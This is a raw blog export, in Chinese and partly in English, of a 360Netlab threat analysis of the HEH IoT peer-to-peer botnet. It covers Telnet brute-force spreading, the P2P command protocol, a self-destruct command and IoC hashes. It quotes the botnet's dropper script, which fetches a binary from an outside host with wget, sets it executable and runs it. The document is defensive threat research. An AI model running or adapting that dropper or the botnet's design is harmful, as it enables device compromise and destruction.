src="__GHOST_URL__/content/images/2020/09/self_destroy_cmd.png" class="kg-image" alt loading="lazy"></figure><h3 id="-telnet-"><strong>传播模块——Telnet 服务暴力破解</strong></h3><p>在 Bot 把 P2P 模块运行起来之后，会以并行的方式执行针对 23,2323 两个端口的 Telnet 服务暴力破解任务，进而完成自身传播。</p><p>首先，Bot 会生成一个随机 IP 地址，然后会检查该 IP 地址是否 <strong>127.0.0.1</strong>：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/random_dip.png" class="kg-image" alt loading="lazy"></figure><p>如果随即生成的 IP 地址不为 <strong>127.0.0.1</strong>，则会先对该 IP 进行扫描，如果在 23 或者 2323 端口开放了 Telnet 服务，就会进入暴力破解阶段。相关的函数如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/telnet_related_func.png" class="kg-image" alt loading="lazy"></figure><p>暴力破解 Telnet 服务用到的口令字典以全局 Slice 变量的形式存在，其中用户名 <strong>171</strong> 个，密码 <strong>504</strong> 个：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/telnet_auth_dict.png" class="kg-image" alt loading="lazy"></figure><p>如果暴破成功，Bot 会让实现主机来访问自己的 HTTP 服务，并执行通过 HTTP 相应获取的文件（即最新的 Bot 样本），从而完成传播：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/send_payload.png" class="kg-image" alt loading="lazy"></figure><h2 id="--4"><strong>总结</strong></h2><p>从 Bot 样本的分析结果来看，Bot 还有不少未完成的功能，有 3 个重要的指令功能并未实现。从它的网络结构来看，虽然 Bot 内部维护了一个 Peer List，并且 Peer 之间也有 Ping<-->Pong 通信，但 Bot 样本只能接收、解析控制指令，能向 Bot 发送真正的控制指令的，依然只有 Bot Master 一个人，即整个 Botnet 还是集中式控制模式。另外，通过本地 HTTP Server 来承载样本自身传播的机制还不完善。所以我们认为 HEH Botnet 还处于开发、测试的初期。</p><p>不过由于它支持的指令功能之丰富，内部代码清晰的模块化架构，以及还有破坏性极高的设备自毁功能，我们认为这是一个值得持续关注的 Botnet。</p><h2 id="--5"><strong>联系我们</strong></h2><p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p><h2 id="ioc"><strong>IoC</strong></h2><p>MD5:</p><pre><code>4c345fdea97a71ac235f2fa9ddb19f05
66786509c16e3285c5e9632ab9019bc7
6be1590ac9e87dd7fe19257213a2db32
6c815da9af17bfa552beb8e25749f313
984fd7ffb7d9f20246e580e15fd93ec7
bd07315639da232e6bb4f796231def8a
c1b2a59f1f1592d9713aa9840c34cade
c2c26a7b2a5412c9545a46e1b9b37b0e
43de9c5fbab4cd59b3eab07a81ea8715</code></pre> | 概述
近期 360Netlab 未知威胁检测系统捕获到一批未知恶意家族的样本，这一批样本支持的 CPU 架构有 x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) 以及 PPC，经过我们分析，将其命名为 HEH Botnet。HEH 是一个由 Go 语言编写的 IoT P2P Botnet，它的 P2P 协议不基于公开的任何 P2P 协议，而是自研协议。HEH 现阶段会通过暴力破解 23/2323 两个端口的 Telnet 服务来传播，而不针对特定设备。
基于以下两点，我们认为它还处于开发测试阶段：
1. 整个僵尸网络的运作机制还不太成熟；
2. 部分指令还未实现。
根据 go_parser 的解析结果，我们捕获的 HEH 样本由 Go 1.15.1 构建，构建样本用到的源码文件列表如下：
/mnt/c/Users/brand/go/src/heh/attack.go
/mnt/c/Users/brand/go/src/heh/commands.go
/mnt/c/Users/brand/go/src/heh/structFun.go
/mnt/c/Users/brand/go/src/heh/cryptotext.go
/mnt/c/Users/brand/go/src/heh/httpserver.go
/mnt/c/Users/brand/go/src/heh/killer.go
/mnt/c/Users/brand/go/src/heh/main.go
/mnt/c/Users/brand/go/src/heh/network.go
/mnt/c/Users/brand/go/src/heh/peerlist.go
/mnt/c/Users/brand/go/src/heh/portkill.go
/mnt/c/Users/brand/go/src/heh/services.go
/mnt/c/Users/brand/go/src/heh/telnet.go
注意到该样本内部的项目名为 heh，正是因此，我们把它命名为 HEH Botnet。根据源码文件路径的特征，我们还可以确认的一点是，该家族样本是作者在 Windows 平台的 WSL 环境中构建而来。
功能简述
HEH Botnet 的样本包含三个功能模块：传播模块、本地 HTTP 服务模块和 P2P 模块。概要流程图如下：
详细分析
起始阶段
我们捕获的 HEH Botnet 样本最初由一个名为 wpqnbw.txt 的恶意 Shell 脚本下载并执行的，该恶意 Shell 脚本会依次下载并执行所有 CPU 架构的恶意程序，恶意脚本和二进制程序都托管在 pomf.cat 站点。wpqnbw.txt 的开头部分内容(后续内容类似)：
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget hxxp://a.pomf.cat/xggxyk
busybox wget hxxp://a.pomf.cat/xggxyk
chmod 777 xggxyk; busybox chmod 777 xggxyk; sh xggxyk "$1 3"
恶意样本启动时传入的参数，第一个参数为一个 IP 地址，默认是本机外网 IP，理论上也可以是某个 Peer 的 IP 地址；第二个参数为 Daemon Flag，如果设置该参数为 3，样本启动后将会以守护进程的方式运行。
样本启动后，会根据端口号 Kill 掉一系列服务进程：
然后，HEH 样本会在本地的 :80 端口启动一个 HTTP Server：
这个 HTTP Server 的初始状态会设置 :80/0 ~ :80/9 共 10 个 URI，对应 8 种语言的 《世界人权宣言》 和 2 个空内容。其中 :80/0 返回的是中文版的《世界人权宣言》：
8 种语言的《世界人权宣言》：
这些初始状态的《世界人权宣言》内容，很快就会被样本从 Peer 的 HTTP 服务端口拉取的数据覆盖掉，也可以通过 P2P 协议中的特定指令来更新这些内容。
P2P 模块
HEH Botnet 的 P2P 模块初始化时，有两个关键步骤：
1. 初始化 Peer List 对象，该对象是一个 Slice 类型的全局变量，初始长度为 1000。Go 语言定义如下：
package main
import "net"
type Peer struct {
addr net.UDPAddr
expirationTimer uint8
}
var peerList []Peer
2. 更新 HTTP 响应数据。通过向 argv[1] :80 端口的 HTTP 服务请求 0~9 的 HTTP URI，来更新自己相应的数据。根据样本行为来看，后续这里更新的数据，是可执行的二进制文件。
HEH Botnet 的 P2P 模块，主要由 3 个组件构成：
1. Ping 组件：间隔 10s 每轮，每轮里隔 0.1s 依次向每个 Peer 的 UDP 服务端口发 Ping 指令；
2. Peer 更新组件：间隔 10s 每轮，每轮里隔 0.1s 随机向一个 Peer 的 UDP 服务端口发 Peer Upate 指令，对端收到该指令后，会检查自己的 Peer List 是否已包含该 Peer 地址信息，不包含的话则把该 Peer 地址信息加入自己的 Peer List；
3. UDP 服务监听组件：HEH Botnet 的本地 Peer 服务是一个 UDP 服务，该服务监听其他 Peer 发来的数据或指令，解析指令后进行相应的操作。
这里重点介绍 HEH Botnet 的 UDP 服务监听组件。该组件有两个关键功能点：UDP 服务端口号生成和指令解析。
HEH Botnet 的 UDP 服务端口不是固定不变的，也不是随机生成的，而是根据 Peer 自己的公网 IP 进行数字计算得出。HEH Bot 每次收到一个新 Peer 的 IP 地址，都会根据该算法计算出 Peer 的 UDP 端口，并把这些信息打包存入自己的 Peer List 中。该端口生成算法在函数 main.portGenerator() 中实现，关键部分如下：
HEH Bot 可解析的指令，分为两类：P2P 协议相关的功能指令(Protocol OpCode)和针对 Bot 的控制指令(Bot Cmd)。指令码位于 UDP 数据的第一个字节，分类如下：
OpCode指令长度(Bytes)意义操作21Ping向 Peer 回一个 Pong 指令31Pong-41Announce(声明自己是一个 Peer)将 Peer 信息加入自己 Peer List，向 Peer 再回一个 Announce51PeerUpdate(要求对方更新自己的信息)更新 Peer List1> 0x229控制 Bot 执行指定 Command解析并执行 Bot Cmd
当指令码为 1 的时候，代表该指令为针对 Bot 的控制指令码。此类指令前 0x229 Bytes 内容含义是固定的，其中依次包含校验用到的 Sha256 Value 和 PSS Signature，最后还有 8 Bytes 的额外校验字段；从 0x229 字节往后才是真正的指令数据。以 7 号 Bot Cmd(Cmd.UpdateBotFile) 为例，指令数据结构如下：
HTH Bot 针对收到的 Bot Cmd 数据的校验分 3 步：
1. 检查指令数据的长度，以及 Extra Flag；
2. 利用 PSS Signature 校验指令数据；
3. 检查最后真实数据的 Sha256 Hash。
后两步逻辑如下所示：
其中，校验 PSS Signature 时用到的公钥为：
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3c1Jzopt9E4+cDwTMKUo
uBSfu9DoFYctD6OIkiZqE1iF5sJPOr6xhU+nV9sebcAClnO9+6YvlKDIVVwjzNbm
jcfUAYyq8FSLJrifEYvT2LYkYYy/SNKcaaTmAKCJ3ACSXpjhcr6WW5/05ygBShVo
E0q+fVhVTqnkOPpIowuHs9RH0DcuGsxKYXTQizuC0Xa0HrfUrnI7FWNSUfm8v1mA
3FnlikNdTMrlRItnRCGIj+8tyiyvyQAi0/SWrfZLG+HzMgxf+wVBfD9H2XTUcUWX
uoDIlSRIJJkN88dJ+uf1dlHlCqhF9TrimpzALq+OhSd1alUaf+PFINSrjNuIc+wU
9cuYQeD6kMynXu7bKTVqKPz8M0EathmduOthNL7WUhcKUppyyBIfkVmH9cnxWcZu
jPpnGH9n5Djy1QaexRT9JBx7eNSps31cZ9/rQgO05SlA4KFZARCIXNPZmGOZmL8Y
33dPu29ykF02kiOau6SyLgRW2bIudMCrhL82fSo6zSNCXOby8VE3j/BCfn2lx5oI
n5ES65zs2GuF3DGfwheNLiaajV5belCOMCD07TjfBfHJz0hisTy5K1UHItqHSFCa
9EijW7uk416Ulx0HHChKAQJ8Mn2AqD1WBR4Iu20WQENJNIT7ketyCCMwJH0mO3en
LW2/t1GOPfXptXtNmdzp01sCAwEAAQ==
-----END PUBLIC KEY-----
HEH Bot 支持解析的 Bot Cmd 有如下几个：
Cmd Code功能0Restart: 重启 Bot2Exit: 退出运行3Attack: 发起攻击（未实现）4Execute: 执行 Shell 命令5Print: 未实现6PeerUpdate: 更新 Peer List7UpdateBotFile: 通过指定一个文件下载链接，让 Bot 去下载并更新 Bot 持有的文件内容。该文件会被 Bot 用作 HTTP Response Data8SelfDestruct: 启动设备自毁9Misc: 未实现
目前来看，对整个 Botnet 最有用的功能是执行 Shell 命令、更新 Peer List 和 UpdateBotFile 这 3 个。代码中的 Attack 函数只是预留的空函数，并没有开始实现。由此可见，目前该 Botnet 还是处于扩张阶段，扩张后下一步的功能还没有实现。将来如果作者实现了其中的 Attack 指令，将会使 HEH Botnet 变得更加危险。
Bot 内解析 Bot Cmd 的函数为 main.executeCommand() ，该函数的整体结构如下：
另外，当 Bot Cmd Code 为 8 时，Bot 将会通过下面一系列 Shell 命令实施设备自毁：
传播模块——Telnet 服务暴力破解
在 Bot 把 P2P 模块运行起来之后，会以并行的方式执行针对 23,2323 两个端口的 Telnet 服务暴力破解任务，进而完成自身传播。
首先，Bot 会生成一个随机 IP 地址，然后会检查该 IP 地址是否 127.0.0.1：
如果随即生成的 IP 地址不为 127.0.0.1，则会先对该 IP 进行扫描，如果在 23 或者 2323 端口开放了 Telnet 服务，就会进入暴力破解阶段。相关的函数如下：
暴力破解 Telnet 服务用到的口令字典以全局 Slice 变量的形式存在，其中用户名 171 个，密码 504 个：
如果暴破成功，Bot 会让实现主机来访问自己的 HTTP 服务，并执行通过 HTTP 相应获取的文件（即最新的 Bot 样本），从而完成传播：
总结
从 Bot 样本的分析结果来看，Bot 还有不少未完成的功能，有 3 个重要的指令功能并未实现。从它的网络结构来看，虽然 Bot 内部维护了一个 Peer List，并且 Peer 之间也有 Ping<-->Pong 通信，但 Bot 样本只能接收、解析控制指令，能向 Bot 发送真正的控制指令的，依然只有 Bot Master 一个人，即整个 Botnet 还是集中式控制模式。另外，通过本地 HTTP Server 来承载样本自身传播的机制还不完善。所以我们认为 HEH Botnet 还处于开发、测试的初期。
不过由于它支持的指令功能之丰富，内部代码清晰的模块化架构，以及还有破坏性极高的设备自毁功能，我们认为这是一个值得持续关注的 Botnet。
联系我们
感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。
IoC
MD5:
4c345fdea97a71ac235f2fa9ddb19f05
66786509c16e3285c5e9632ab9019bc7
6be1590ac9e87dd7fe19257213a2db32
6c815da9af17bfa552beb8e25749f313
984fd7ffb7d9f20246e580e15fd93ec7
bd07315639da232e6bb4f796231def8a
c1b2a59f1f1592d9713aa9840c34cade
c2c26a7b2a5412c9545a46e1b9b37b0e
43de9c5fbab4cd59b3eab07a81ea8715 | {"version":"0.3.1","atoms":[],"cards":[["code",{"code":"/mnt/c/Users/brand/go/src/heh/attack.go\n/mnt/c/Users/brand/go/src/heh/commands.go\n/mnt/c/Users/brand/go/src/heh/structFun.go\n/mnt/c/Users/brand/go/src/heh/cryptotext.go\n/mnt/c/Users/brand/go/src/heh/httpserver.go\n/mnt/c/Users/brand/go/src/heh/killer.go\n/mnt/c/Users/brand/go/src/heh/main.go\n/mnt/c/Users/brand/go/src/heh/network.go\n/mnt/c/Users/brand/go/src/heh/peerlist.go\n/mnt/c/Users/brand/go/src/heh/portkill.go\n/mnt/c/Users/brand/go/src/heh/services.go\n/mnt/c/Users/brand/go/src/heh/telnet.go\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/09/HEHBotnet.png","alt":"","title":""}],["code",{"code":"#!/bin/bash\ncd /tmp || cd /var/run || cd /mnt || cd /root || cd /\nwget hxxp://a.pomf.cat/xggxyk\nbusybox wget hxxp://a.pomf.cat/xggxyk\nchmod 777 xggxyk; busybox chmod 777 xggxyk; sh xggxyk \"$1 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KEY-----\nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3c1Jzopt9E4+cDwTMKUo\nuBSfu9DoFYctD6OIkiZqE1iF5sJPOr6xhU+nV9sebcAClnO9+6YvlKDIVVwjzNbm\njcfUAYyq8FSLJrifEYvT2LYkYYy/SNKcaaTmAKCJ3ACSXpjhcr6WW5/05ygBShVo\nE0q+fVhVTqnkOPpIowuHs9RH0DcuGsxKYXTQizuC0Xa0HrfUrnI7FWNSUfm8v1mA\n3FnlikNdTMrlRItnRCGIj+8tyiyvyQAi0/SWrfZLG+HzMgxf+wVBfD9H2XTUcUWX\nuoDIlSRIJJkN88dJ+uf1dlHlCqhF9TrimpzALq+OhSd1alUaf+PFINSrjNuIc+wU\n9cuYQeD6kMynXu7bKTVqKPz8M0EathmduOthNL7WUhcKUppyyBIfkVmH9cnxWcZu\njPpnGH9n5Djy1QaexRT9JBx7eNSps31cZ9/rQgO05SlA4KFZARCIXNPZmGOZmL8Y\n33dPu29ykF02kiOau6SyLgRW2bIudMCrhL82fSo6zSNCXOby8VE3j/BCfn2lx5oI\nn5ES65zs2GuF3DGfwheNLiaajV5belCOMCD07TjfBfHJz0hisTy5K1UHItqHSFCa\n9EijW7uk416Ulx0HHChKAQJ8Mn2AqD1WBR4Iu20WQENJNIT7ketyCCMwJH0mO3en\nLW2/t1GOPfXptXtNmdzp01sCAwEAAQ==\n-----END PUBLIC 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360Netlab 未知威胁检测系统捕获到一批未知恶意家族的样本，这一批样本支持的 CPU 架构有 x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) 以及 PPC，经过我们分析，将其命名为 "],[0,[0],1,"HEH Botnet"],[0,[],0,"。HEH 是一个由 Go 语言编写的 IoT P2P Botnet，它的 P2P 协议不基于公开的任何 P2P 协议，而是自研协议。HEH 现阶段会通过暴力破解 "],[0,[0],1,"23/2323"],[0,[],0," 两个端口的 "],[0,[0],1,"Telnet"],[0,[],0," 服务来传播，而不针对特定设备。"]]],[1,"p",[[0,[],0,"基于以下两点，我们认为它还处于开发测试阶段："]]],[3,"ol",[[[0,[],0,"整个僵尸网络的运作机制还不太成熟；"]],[[0,[],0,"部分指令还未实现。"]]]],[1,"p",[[0,[],0,"根据 "],[0,[1],1,"go_parser"],[0,[],0," 的解析结果，我们捕获的 HEH 样本由 "],[0,[0],1,"Go 1.15.1"],[0,[],0," 构建，构建样本用到的源码文件列表如下："]]],[10,0],[1,"p",[[0,[],0,"注意到该样本内部的项目名为 "],[0,[0],1,"heh"],[0,[],0,"，正是因此，我们把它命名为 "],[0,[0],1,"HEH Botnet"],[0,[],0,"。根据源码文件路径的特征，我们还可以确认的一点是，该家族样本是作者在 Windows 平台的 WSL 环境中构建而来。"]]],[1,"h2",[[0,[0],1,"功能简述"]]],[1,"p",[[0,[],0,"HEH Botnet 的样本包含三个功能模块：传播模块、本地 HTTP 服务模块和 P2P 模块。概要流程图如下："]]],[10,1],[1,"h2",[[0,[0],1,"详细分析"]]],[1,"h3",[[0,[0],1,"起始阶段"]]],[1,"p",[[0,[],0,"我们捕获的 HEH Botnet 样本最初由一个名为 "],[0,[0],1,"wpqnbw.txt"],[0,[],0," 的恶意 Shell 脚本下载并执行的，该恶意 Shell 脚本会依次下载并执行所有 CPU 架构的恶意程序，恶意脚本和二进制程序都托管在 "],[0,[0],1,"pomf.cat"],[0,[],0," 站点。"],[0,[0],1,"wpqnbw.txt"],[0,[],0," 的开头部分内容(后续内容类似)："]]],[10,2],[1,"p",[[0,[],0,"恶意样本启动时传入的参数，第一个参数为一个 IP 地址，默认是本机外网 IP，理论上也可以是某个 Peer 的 IP 地址；第二个参数为 Daemon Flag，如果设置该参数为 "],[0,[0],1,"3"],[0,[],0,"，样本启动后将会以守护进程的方式运行。"]]],[1,"p",[[0,[],0,"样本启动后，会根据端口号 Kill 掉一系列服务进程："]]],[10,3],[1,"p",[[0,[],0,"然后，HEH 样本会在本地的 "],[0,[0],1,":80"],[0,[],0," 端口启动一个 HTTP Server："]]],[10,4],[1,"p",[[0,[],0,"这个 HTTP Server 的初始状态会设置 "],[0,[2],1,":80/0"],[0,[],0," ~ "],[0,[2],1,":80/9"],[0,[],0," 共 10 个 URI，对应 8 种语言的 《世界人权宣言》 和 2 个空内容。其中 "],[0,[2],1,":80/0"],[0,[],0," 返回的是中文版的《世界人权宣言》："]]],[10,5],[1,"p",[[0,[],0,"8 种语言的《世界人权宣言》："]]],[10,6],[1,"p",[[0,[],0,"这些初始状态的《世界人权宣言》内容，很快就会被样本从 Peer 的 HTTP 服务端口拉取的数据覆盖掉，也可以通过 P2P 协议中的特定指令来更新这些内容。"]]],[1,"h3",[[0,[0],1,"P2P 模块"]]],[1,"p",[[0,[],0,"HEH Botnet 的 P2P 模块初始化时，有两个关键步骤："]]],[3,"ol",[[[0,[],0,"初始化 Peer List 对象，该对象是一个 Slice 类型的全局变量，初始长度为 "],[0,[0],1,"1000"],[0,[],0,"。Go 语言定义如下："]]]],[10,7],[1,"p",[[0,[],0,"2. 更新 HTTP 响应数据。通过向 "],[0,[2],1,"argv[1]"],[0,[],0," "],[0,[0],1,":80"],[0,[],0," 端口的 HTTP 服务请求 0~9 的 HTTP URI，来更新自己相应的数据。根据样本行为来看，后续这里更新的数据，是"],[0,[0],1,"可执行的二进制文件"],[0,[],0,"。"]]],[1,"p",[[0,[],0,"HEH Botnet 的 P2P 模块，主要由 3 个组件构成："]]],[3,"ol",[[[0,[],0,"Ping 组件：间隔 10s 每轮，每轮里隔 0.1s "],[0,[0],1,"依次"],[0,[],0,"向每个 Peer 的 UDP 服务端口发 "],[0,[0],1,"Ping"],[0,[],0," 指令；"]],[[0,[],0,"Peer 更新组件：间隔 10s 每轮，每轮里隔 0.1s "],[0,[0],1,"随机"],[0,[],0,"向一个 Peer 的 UDP 服务端口发 "],[0,[0],1,"Peer Upate"],[0,[],0," 指令，对端收到该指令后，会检查自己的 Peer List 是否已包含该 Peer 地址信息，不包含的话则把该 Peer 地址信息加入自己的 Peer List；"]],[[0,[],0,"UDP 服务监听组件：HEH Botnet 的本地 Peer 服务是一个 UDP 服务，该服务监听其他 Peer 发来的数据或指令，解析指令后进行相应的操作。"]]]],[1,"p",[[0,[],0,"这里重点介绍 HEH Botnet 的 UDP 服务监听组件。该组件有两个关键功能点："],[0,[0],1,"UDP 服务端口号生成"],[0,[],0,"和"],[0,[0],1,"指令解析"],[0,[],0,"。"]]],[1,"p",[[0,[],0,"HEH Botnet 的 UDP 服务端口不是固定不变的，也不是随机生成的，而是根据 Peer 自己的公网 IP 进行数字计算得出。HEH Bot 每次收到一个新 Peer 的 IP 地址，都会根据该算法计算出 Peer 的 UDP 端口，并把这些信息打包存入自己的 Peer List 中。该端口生成算法在函数 "],[0,[0],1,"main.portGenerator()"],[0,[],0," 中实现，关键部分如下："]]],[10,8],[1,"p",[[0,[],0,"HEH Bot 可解析的指令，分为两类：P2P 协议相关的功能指令("],[0,[0],1,"Protocol OpCode"],[0,[],0,")和针对 Bot 的控制指令("],[0,[0],1,"Bot Cmd"],[0,[],0,")。指令码位于 "],[0,[0],1,"UDP 数据的第一个字节"],[0,[],0,"，分类如下："]]],[1,"p",[[0,[],0,"OpCode指令长度(Bytes)意义操作"],[0,[0],1,"2"],[0,[],0,"1Ping向 Peer 回一个 Pong 指令"],[0,[0],1,"3"],[0,[],0,"1Pong-"],[0,[0],1,"4"],[0,[],0,"1Announce(声明自己是一个 Peer)将 Peer 信息加入自己 Peer List，向 Peer 再回一个 Announce"],[0,[0],1,"5"],[0,[],0,"1PeerUpdate(要求对方更新自己的信息)更新 Peer List"],[0,[0],1,"1"],[0,[],0,"> 0x229控制 Bot 执行指定 Command解析并执行 Bot Cmd"]]],[1,"p",[[0,[],0,"当指令码为 "],[0,[0],1,"1"],[0,[],0," 的时候，代表该指令为针对 Bot 的控制指令码。此类指令前 0x229 Bytes 内容含义是固定的，其中依次包含校验用到的 Sha256 Value 和 PSS Signature，最后还有 8 Bytes 的额外校验字段；从 0x229 字节往后才是真正的指令数据。以 "],[0,[0],1,"7"],[0,[],0," 号 Bot Cmd("],[0,[0],1,"Cmd.UpdateBotFile"],[0,[],0,") 为例，指令数据结构如下："]]],[10,9],[1,"p",[[0,[],0,"HTH Bot 针对收到的 Bot Cmd 数据的校验分 3 步："]]],[3,"ol",[[[0,[],0,"检查指令数据的长度，以及 Extra Flag；"]],[[0,[],0,"利用 PSS Signature 校验指令数据；"]],[[0,[],0,"检查最后真实数据的 Sha256 Hash。"]]]],[1,"p",[[0,[],0,"后两步逻辑如下所示："]]],[10,10],[1,"p",[[0,[],0,"其中，校验 PSS Signature 时用到的公钥为："]]],[10,11],[1,"p",[[0,[],0,"HEH Bot 支持解析的 Bot Cmd 有如下几个："]]],[1,"p",[[0,[],0,"Cmd Code功能"],[0,[0],1,"0"],[0,[0],1,"Restart"],[0,[],0,": 重启 Bot"],[0,[0],1,"2"],[0,[0],1,"Exit"],[0,[],0,": 退出运行"],[0,[0],1,"3"],[0,[0],1,"Attack"],[0,[],0,": 发起攻击（"],[0,[0],1,"未实现"],[0,[],0,"）"],[0,[0],1,"4"],[0,[0],1,"Execute"],[0,[],0,": 执行 Shell 命令"],[0,[0],1,"5"],[0,[0],1,"Print"],[0,[],0,": "],[0,[0],1,"未实现"],[0,[0],1,"6"],[0,[0],1,"PeerUpdate"],[0,[],0,": 更新 Peer List"],[0,[0],1,"7"],[0,[0],1,"UpdateBotFile"],[0,[],0,": 通过指定一个文件下载链接，让 Bot 去下载并更新 Bot 持有的文件内容。该文件会被 Bot 用作 HTTP Response Data"],[0,[0],1,"8"],[0,[0],1,"SelfDestruct"],[0,[],0,": 启动设备自毁"],[0,[0],1,"9"],[0,[0],1,"Misc"],[0,[],0,": "],[0,[0],1,"未实现"]]],[1,"p",[[0,[],0,"目前来看，对整个 Botnet 最有用的功能是执行 Shell 命令、更新 Peer List 和 UpdateBotFile 这 3 个。代码中的 "],[0,[0],1,"Attack"],[0,[],0," 函数只是预留的空函数，并没有开始实现。由此可见，目前该 Botnet 还是处于扩张阶段，扩张后下一步的功能还没有实现。将来如果作者实现了其中的 "],[0,[0],1,"Attack"],[0,[],0," 指令，将会使 HEH Botnet 变得更加危险。"]]],[1,"p",[[0,[],0,"Bot 内解析 Bot Cmd 的函数为 "],[0,[0],1,"main.executeCommand()"],[0,[],0," ，该函数的整体结构如下："]]],[10,12],[1,"p",[[0,[],0,"另外，当 Bot Cmd Code 为 "],[0,[0],1,"8"],[0,[],0," 时，Bot 将会通过下面一系列 Shell 命令实施设备自毁："]]],[10,13],[1,"h3",[[0,[0],1,"传播模块——Telnet 服务暴力破解"]]],[1,"p",[[0,[],0,"在 Bot 把 P2P 模块运行起来之后，会以并行的方式执行针对 23,2323 两个端口的 Telnet 服务暴力破解任务，进而完成自身传播。"]]],[1,"p",[[0,[],0,"首先，Bot 会生成一个随机 IP 地址，然后会检查该 IP 地址是否 "],[0,[0],1,"127.0.0.1"],[0,[],0,"："]]],[10,14],[1,"p",[[0,[],0,"如果随即生成的 IP 地址不为 "],[0,[0],1,"127.0.0.1"],[0,[],0,"，则会先对该 IP 进行扫描，如果在 23 或者 2323 端口开放了 Telnet 服务，就会进入暴力破解阶段。相关的函数如下："]]],[10,15],[1,"p",[[0,[],0,"暴力破解 Telnet 服务用到的口令字典以全局 Slice 变量的形式存在，其中用户名 "],[0,[0],1,"171"],[0,[],0," 个，密码 "],[0,[0],1,"504"],[0,[],0," 个："]]],[10,16],[1,"p",[[0,[],0,"如果暴破成功，Bot 会让实现主机来访问自己的 HTTP 服务，并执行通过 HTTP 相应获取的文件（即最新的 Bot 样本），从而完成传播："]]],[10,17],[1,"h2",[[0,[0],1,"总结"]]],[1,"p",[[0,[],0,"从 Bot 样本的分析结果来看，Bot 还有不少未完成的功能，有 3 个重要的指令功能并未实现。从它的网络结构来看，虽然 Bot 内部维护了一个 Peer List，并且 Peer 之间也有 Ping<-->Pong 通信，但 Bot 样本只能接收、解析控制指令，能向 Bot 发送真正的控制指令的，依然只有 Bot Master 一个人，即整个 Botnet 还是集中式控制模式。另外，通过本地 HTTP Server 来承载样本自身传播的机制还不完善。所以我们认为 HEH Botnet 还处于开发、测试的初期。"]]],[1,"p",[[0,[],0,"不过由于它支持的指令功能之丰富，内部代码清晰的模块化架构，以及还有破坏性极高的设备自毁功能，我们认为这是一个值得持续关注的 Botnet。"]]],[1,"h2",[[0,[0],1,"联系我们"]]],[1,"p",[[0,[],0,"感兴趣的读者，可以在 "],[0,[3,0],2,"twitter"],[0,[],0," 或者在微信公众号 "],[0,[0],1,"360Netlab"],[0,[],0," 上联系我们。"]]],[1,"h2",[[0,[0],1,"IoC"]]],[1,"p",[[0,[],0,"MD5:"]]],[10,18]],"ghostVersion":"3.0"} | 609617563819e50007633d1c |
post | null | 2021-05-08T04:46:33.000Z | 63873b9a8b1c1e0007f52fc2 | heh-a-new-iot-p2p-botnet-going-after-weak-telnet-services | 0 | 2021-05-08T04:47:23.000Z | public | published | null | 2020-10-07T04:46:00.000Z | HEH, a new IoT P2P Botnet going after weak telnet services | <h2 id="overview"><strong>Overview</strong></h2><p>Recently, 360Netlab threat detection system captured a batch of unknown samples. The CPU architectures supported by this batch of samples are broad, including x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) and PPC, it is spreading through brute force of the <strong>Telnet</strong> service on ports <strong>23/2323, </strong>which means the bot does not really care of what the end devices are, as long as it can enter the device, it will try its luck to infect the target. The botnet is written in Go language, and uses proprietary P2P protocol, we named it <strong>HEH Botnet</strong> . </p><p>Based on the parsing result of <strong>go_parser </strong>(A tool I wrote, check it out at GitHub <a href="https://github.com/0xjiayu/go_parser"><strong>here</strong></a>), the HEH sample we captured was constructed by <strong>Go 1.15.1</strong> . The source code files used to build the binary file are listed as follows:</p><pre><code>/mnt/c/Users/brand/go/src/heh/attack.go
/mnt/c/Users/brand/go/src/heh/commands.go
/mnt/c/Users/brand/go/src/heh/structFun.go
/mnt/c/Users/brand/go/src/heh/cryptotext.go
/mnt/c/Users/brand/go/src/heh/httpserver.go
/mnt/c/Users/brand/go/src/heh/killer.go
/mnt/c/Users/brand/go/src/heh/main.go
/mnt/c/Users/brand/go/src/heh/network.go
/mnt/c/Users/brand/go/src/heh/peerlist.go
/mnt/c/Users/brand/go/src/heh/portkill.go
/mnt/c/Users/brand/go/src/heh/services.go
/mnt/c/Users/brand/go/src/heh/telnet.go
</code></pre><p>Note that the project inside the sample is named <strong>heh</strong>. According to the characteristics of the source file path, we can also confirm that the family samples were built by the author in the WSL environment on the Windows platform.</p><h2 id="function-description"><strong>Function description</strong></h2><p>The HEH Botnet sample contains three functional modules: propagation module, local HTTP service module and P2P module. The outline flow chart is as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/HEHBotnet.png" class="kg-image" alt loading="lazy"></figure><h2 id="detailed-analysis"><strong>Detailed analysis</strong></h2><h3 id="initial-stage"><strong>Initial stage</strong></h3><p>The HEH Botnet samples we captured was originally downloaded and executed by a malicious Shell script named <strong>wpqnbw.txt</strong> . The malicious Shell script then downloads and executes every single one of the malicious programs for all different CPU architectures, there is no environment checking or things like that, just run all the programs in turn. The malicious scripts and binary programs are hosted on <strong>pomf.cat</strong> Site(note here, prmf.cat is legit website, don’t block it). The beginning of <strong>wpqnbw.txt</strong> (similar to the subsequent content):</p><pre><code>#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget hxxp://a.pomf.cat/xggxyk
busybox wget hxxp://a.pomf.cat/xggxyk
chmod 777 xggxyk; busybox chmod 777 xggxyk; sh xggxyk "$1 3"
</code></pre><p>The parameters passed in when the malicious sample is started, the first parameter is an IP address, the default is the external IP of the compromised machine, theoretically it can also be the IP address of a certain Peer; the second parameter is the Deamon Flag, if you set this parameter is <strong>3</strong> , the sample will start running in daemon mode.</p><p>After the sample is started, a series of service processes will be killed according to the port number:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/kill_serv_by_ports.png" class="kg-image" alt loading="lazy"></figure><p>Then, the HEH sample will start an HTTP 